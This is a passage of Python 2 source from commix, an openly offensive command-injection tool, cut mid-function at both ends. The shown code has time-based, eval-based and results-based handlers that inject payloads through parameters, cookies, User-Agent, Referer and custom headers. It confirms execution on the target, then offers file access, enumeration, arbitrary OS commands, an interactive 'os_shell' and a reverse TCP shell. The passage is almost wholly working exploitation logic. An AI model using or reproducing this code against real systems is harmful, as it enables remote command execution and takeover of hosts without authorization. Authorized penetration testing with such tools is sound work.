# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace("\n", "\\n") + Style.RESET_ALL
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic = how_long_statistic + how_long
# Reset the how_long_statistic counter
if output_length == tag_length - 1:
how_long_statistic = 0
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Windows targets.
if settings.TARGET_OS == "win":
if how_long > (how_long_statistic / output_length):
false_positive_fixation = True
else:
false_positive_warning = True
# Unix-like targets.
else:
if delay == 1 and (how_long_statistic == delay) or \
delay == 1 and (how_long_statistic == how_long) or \
delay > 1 and (how_long_statistic == (output_length + delay)) and \
how_long == delay + 1:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning and again_warning:
again_warning = False
warning_msg = settings.WARNING_SIGN + "Unexpected time delays have been identified due to unstable "
warning_msg += "requests. This behavior which may lead to false-positive results."
sys.stdout.write("\r" + Fore.YELLOW + warning_msg + Style.RESET_ALL)
print ""
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
else:
cmd = "(" + str(randv1) + " + " + str(randv2) + ")"
# Check for false positive resutls
how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response)
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if str(output) == str(randvcalc) and len(TAG) == output_length:
is_vulnerable = True
how_long_statistic = 0
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
# False positive
else:
if not menu.options.verbose:
percent = str(float_percent)+ "%"
sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
continue
else:
if not menu.options.verbose:
percent = str(float_percent)+ "%"
sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
continue
if not menu.options.verbose:
sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
break
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if (len(TAG) == output_length) and \
(is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"):
found = True
no_result = False
if settings.LOAD_SESSION:
is_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable)
is_vulnerable = False
else:
settings.LOAD_SESSION = False
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
enumerate_again = raw_input("\n" + settings.QUESTION_SIGN + "Do you want to enumerate again? [Y/n/q] > ").lower()
if enumerate_again in settings.CHOICE_YES:
tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
else:
if menu.enumeration_options():
tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
file_access_again = raw_input(settings.QUESTION_SIGN + "Do you want to access files again? [Y/n/q] > ").lower()
if file_access_again in settings.CHOICE_YES:
tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print ""
tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Export injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
sys.exit(0)
if not new_line :
print ""
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
gotshell = raw_input(settings.QUESTION_SIGN + "Do you want a Pseudo-Terminal? [Y/n/q] > ").lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(separator, http_request_method)
whitespace = settings.WHITESPACES[0]
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG)
# Export injection result
if menu.options.verbose:
print ""
print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
print ""
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Export injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
print ""
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
#break
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):
percent = 0
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "Blind-based Command Injection"
technique = "time-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Fore.YELLOW + "(^) Warning: The '--url-reload' option is not available in "+ technique +"." + Style.RESET_ALL
percent = str(percent)+"%"
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay):
# Time relative false positive fixation.
if len(TAG) == output_length:
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
cmd = "(" + str(randv1) + "+" + str(randv2) + ")"
# Check for false positive resutls
output = tb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell)
if str(output) == str(randvcalc) and len(TAG) == output_length:
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
else:
percent = str(float_percent)+"%"
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay):
if len(TAG) == output_length :
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
if enumerate_again in settings.CHOISE_YES:
tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
while True:
file_access_again = raw_input("(?) Do you want to access files again? [Y/n/q] > ").lower()
if file_access_again in settings.CHOISE_YES:
print ""
tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
# Exploirt injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
sys.exit(0)
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
gotshell = raw_input("(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd == "?":
menu.shell_options()
continue
elif cmd.lower() == "quit":
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
if checks.check_next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
else:
pass
else:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
# Exploirt injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
print ""
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
if checks.check_next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def eb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "Results-based Command Injection"
technique = "eval-based code injection technique"
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[
item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
url = eb_injector.warning_detection(url, http_request_method)
sys.stdout.write("(*) Testing the " + technique + "... ")
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(
settings.EVAL_SUFFIXES)
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = eb_payloads.decision_alter_shell(
separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = eb_payloads.decision(separator, TAG, randv1,
randv2)
suffix = urllib.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + urllib.quote(")}") in payload:
payload = payload.replace(")%3B" + urllib.quote(")}"),
")" + urllib.quote(")}"))
payload = payload + TAG + ""
if menu.options.base64:
payload = urllib.unquote(payload)
payload = base64.b64encode(payload)
else:
payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " +
payload + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = eb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = eb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = eb_injector.referer_injection_test(
url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(
payload, http_request_method, url)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate test results.
shell = eb_injector.injection_test_results(
response, TAG, randvcalc)
if not menu.options.verbose:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if shell == False:
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + float_percent +
"%" + " ]")
sys.stdout.flush()
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename, injection_type,
technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename,
http_request_method,
vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
) + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", payload) + Style.RESET_ALL
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
enumerate_again = raw_input(
"\n(?) Do you want to enumerate again? [Y/n/q] > "
).lower()
if enumerate_again in settings.CHOISE_YES:
eb_enumeration.do_check(
separator, TAG, prefix, suffix,
http_request_method, url, vuln_parameter,
alter_shell, filename)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
else:
eb_enumeration.do_check(separator, TAG, prefix, suffix,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
file_access_again = raw_input(
"(?) Do you want to access files again? [Y/n/q] > "
).lower()
if file_access_again in settings.CHOISE_YES:
if not menu.options.verbose:
print ""
eb_file_access.do_check(
separator, TAG, prefix, suffix,
http_request_method, url, vuln_parameter,
alter_shell, filename)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
else:
eb_file_access.do_check(separator, TAG, prefix, suffix,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Check if defined single cmd.
if menu.options.os_cmd:
eb_enumeration.single_os_cmd_exec(
separator, TAG, prefix, suffix,
http_request_method, url, vuln_parameter,
alter_shell, filename)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
gotshell = raw_input(
"(?) Do you want a Pseudo-Terminal? [Y/n/q] > "
).lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT + Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(
cmd.lower(), technique, go_back,
no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
lhost, lport = reverse_tcp.configure_reverse_tcp(
)
while True:
if lhost and lport in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(
lhost)
else:
cmd = reverse_tcp.reverse_tcp_options(
lhost, lport)
result = checks.check_reverse_tcp_options(
cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
settings.REVERSE_TCP = False
go_back_again = True
break
# Command execution results.
response = eb_injector.injection(
separator, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter,
alter_shell, filename)
# Evaluate injection results.
shell = eb_injector.injection_results(
response, TAG)
print shell
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
# The main command injection exploitation.
response = eb_injector.injection(
separator, TAG, cmd, prefix,
